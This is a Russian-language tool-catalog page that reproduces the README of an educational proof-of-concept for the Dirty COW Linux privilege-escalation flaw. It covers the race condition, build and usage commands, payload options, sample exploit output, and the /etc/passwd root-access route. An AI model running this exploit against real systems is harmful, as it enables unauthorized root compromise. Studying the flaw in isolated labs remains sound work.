Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
dirtycow-lab — Образовательный PoC для Dirty COW (CVE-2016-5195) с ведением журнала, запасным вариантом ptrace и поддержкой бинарных полезных нагрузок. | Kitploit
Инструменты/GitHubGitHub/mohammadamin382/dirtycow-lab
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubmohammadamin382/dirtycow-lab

dirtycow-lab

Образовательный PoC для Dirty COW (CVE-2016-5195) с ведением журнала, запасным вариантом ptrace и поддержкой бинарных полезных нагрузок.

1121 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

Dirty COW Educational PoC (CVE-2016-5195)

⚠️ Правовое предупреждение

Этот код предназначен ТОЛЬКО для ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ. Любое вредоносное использование строго запрещено и противозаконно.

📖 Что такое Dirty COW?

Dirty COW (CVE-2016-5195) — это уязвимость повышения привилегий в ядре Linux, которая использует состояние гонки в механизме копирования при записи (COW). Эта уязвимость затрагивает ядра Linux начиная с версии 2.6.22 (выпущенной в 2007 году) до версий:

  • 4.8.3
  • 4.7.9
  • 4.4.26

Технические детали

Уязвимость возникает в системе управления памятью ядра:

  1. Копирование при записи (COW): Когда процесс отображает файл с флагом MAP_PRIVATE, изменения должны создавать приватную копию.
  2. Состояние гонки: Два потока соревнуются между вызовом madvise(MADV_DONTNEED) и записью в /proc/self/mem.
  3. Эксплуатация: При определенных временных условиях записи могут обойти защиту COW и изменить исходный файл.

Воздействие

  • Повышение привилегий: Изменение файлов, доступных только для чтения, принадлежащих root.
  • Компрометация системы: Возможность получить доступ root путем изменения системных файлов, таких как /etc/passwd.
  • Целостность данных: Несанкционированное изменение критически важных системных файлов.

🛡️ Замечания по безопасности для тестирования

⚠️ КРИТИЧЕСКИ ВАЖНО: Тестировать только в изолированной среде

НИКОГДА не запускайте это на рабочих системах или системах, которые вам не принадлежат!

Рекомендуемая тестовая среда:

  1. Виртуальная машина (VM): Используйте VMware, VirtualBox или KVM.
  2. Контейнер: Docker-контейнер с уязвимым ядром.
  3. Изолированная лаборатория: Выделенная тестовая машина без важных данных.
  4. Требования к ядру: Версии ядра Linux от 2.6.22 до 4.8.2.

Безопасные методы тестирования:

# 1. Check kernel version first
uname -r

# 2. Create isolated test directory
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test

# 3. Test with harmless files only
./main -t /tmp/test_file -v

# 4. Monitor system resources
top -p $(pgrep -f main)

🚀 Компиляция и использование

Предварительные требования

# Install required packages (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev

# Install required packages (CentOS/RHEL)
sudo yum install gcc openssl-devel

Компиляция

# Standard compilation
make

# Debug version
make main-debug

# Manual compilation
gcc -o main main.c -lpthread -lssl -lcrypto

Базовое использование

# Simple test with default settings
./main

# Verbose mode with custom target
./main -t /tmp/testfile -v

# Advanced usage with multiple processes
./main -t /tmp/target -n 4 -r 3 -D -v

# Binary payload from file
./main -f payload.bin -P -D -n 2

Параметры командной строки

ПараметрОписаниеПо умолчаниюМакс
-t <file>Путь к целевому файлу/tmp/dirty_cow_test-
-p <payload>Произвольная текстовая нагрузкаТестовая строка-
-f <file>Загрузить бинарную нагрузку из файла--
-i <num>Количество итераций10,000,000100,000,000
-n <num>Количество параллельных процессов18
-r <num>Количество попыток повторения110
-PИспользовать ptrace вместо /proc/self/memОтключено-
-DВключить динамическое сканирование смещенийОтключено-
-vПодробный выводОтключено-
-l <file>Путь к файлу журналаexploit_log.txt-
-hПоказать справку--

🔬 Расширенные возможности

1. Несколько методов атаки

  • Метод 1: запись через /proc/self/mem (по умолчанию)
  • Метод 2: ptrace(PTRACE_POKETEXT) для ограниченных систем

2. Динамическое сканирование смещений

Сканирует несколько смещений в памяти, чтобы найти наилучшую позицию для записи:

./main -D -v  # Enable dynamic offset scanning

3. Многопроцессорные состояния гонки

Запуск нескольких процессов для интенсивных состояний гонки:

./main -n 4  # Use 4 parallel processes

4. Поддержка бинарной нагрузки

Загрузка произвольных бинарных данных из файлов:

# Create binary payload
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin

# Use binary payload
./main -f payload.bin -v

5. Автоматическая логика повторных попыток

Автоматический повтор неудачных попыток:

./main -r 5  # Retry up to 5 times

6. Проверка целостности файлов

Использует хэширование SHA-256 для проверки изменений файлов:

# Check original vs modified file hashes
./main -v  # Shows hash comparison in verbose mode

📊 Вывод и ведение журнала

Пример вывода в консоль

Dirty COW Educational PoC (CVE-2016-5195)
==========================================

=== SYSTEM INFORMATION ===
Kernel Version: Linux 4.4.0-generic
Architecture: x86_64
Current User: testuser
UID/GID: 1000/1000

=== VULNERABILITY CHECK ===
Kernel: Linux version 4.4.0-generic
[+] /proc/self/mem accessible

=== STARTING TEST ===

=== EXPLOIT EXECUTION ===
[+] Target: /tmp/dirty_cow_test
[+] Payload length: 32 bytes
[+] Iterations: 10000000
[+] Processes: 1
[+] Method: /proc/self/mem
[+] Dynamic offset: disabled
[+] Backup created: /tmp/dirty_cow_test.backup
[+] Original content: original-content-before-exploit
[+] Starting race condition test...
[+] EXPLOIT SUCCESSFUL on attempt 1!
[+] File hash changed - modification confirmed!
[+] Original: a1b2c3d4e5f6...
[+] Final:    f6e5d4c3b2a1...

=== TEST SUCCESSFUL ===
[+] File modification completed
[+] Educational objective achieved
[+] Statistics: 156789 writes, 1 successful, 2.347 sec

Формат файла журнала

Инструмент создает подробные журналы в exploit_log.txt:

[2024-01-15 10:30:45] System Info - UID/GID: 1000/1000
[2024-01-15 10:30:45] Kernel version: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Starting exploit - Target: /tmp/test, Payload: 32 bytes
[2024-01-15 10:30:47] EXPLOIT SUCCESSFUL on attempt 1
[2024-01-15 10:30:47] Final stats - Writes: 156789, Successful: 1, Duration: 2.347 sec

🎯 Тестовые сценарии

Сценарий 1: Тест базовой функциональности

# Test basic exploit functionality
./main -t /tmp/basic_test -v

Сценарий 2: Стресс-тест

# High-intensity race condition test
./main -i 50000000 -n 4 -r 3 -D -v

Сценарий 3: Ограниченная среда

# Test when /proc/self/mem is blocked
./main -P -D -v

Сценарий 4: Тест бинарной нагрузки

# Test with binary data containing null bytes
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v

🔍 Понимание эксплойта

Время состояния гонки

Эксплойт работает, создавая гонку между двумя операциями:

  1. Поток 1: madvise(MADV_DONTNEED) — сообщает ядру отбросить страницы памяти
  2. Поток 2: Запись в /proc/self/mem — попытка записи в отображаемую память

Факторы успеха

  • Версия ядра: Должна быть уязвимой (< 4.8.3)
  • Время: Состояние гонки должно произойти в точный момент
  • Отображение памяти: Файл должен быть отображен с флагом MAP_PRIVATE
  • Разрешения: Должен быть доступ на чтение к целевому файлу

Почему это работает

Когда состояние гонки срабатывает:

  1. Поток 1 отбрасывает страницу COW
  2. Записи потока 2 происходят до создания новой страницы COW
  3. Запись идет напрямую в исходный файл, а не в приватную копию

🛠️ Устранение неполадок

Частые проблемы

1. "Эксплойт не удался или недостаточно итераций"

  • Решение: Увеличьте количество итераций с помощью -i или используйте несколько процессов -n

2. "Ошибка доступа к /proc/self/mem"

  • Решение: Используйте метод ptrace с флагом -P

3. "Система может быть не уязвима"

  • Проверьте версию ядра: uname -r
  • Убедитесь, что ядро старше 4.8.3
Скачать инструмент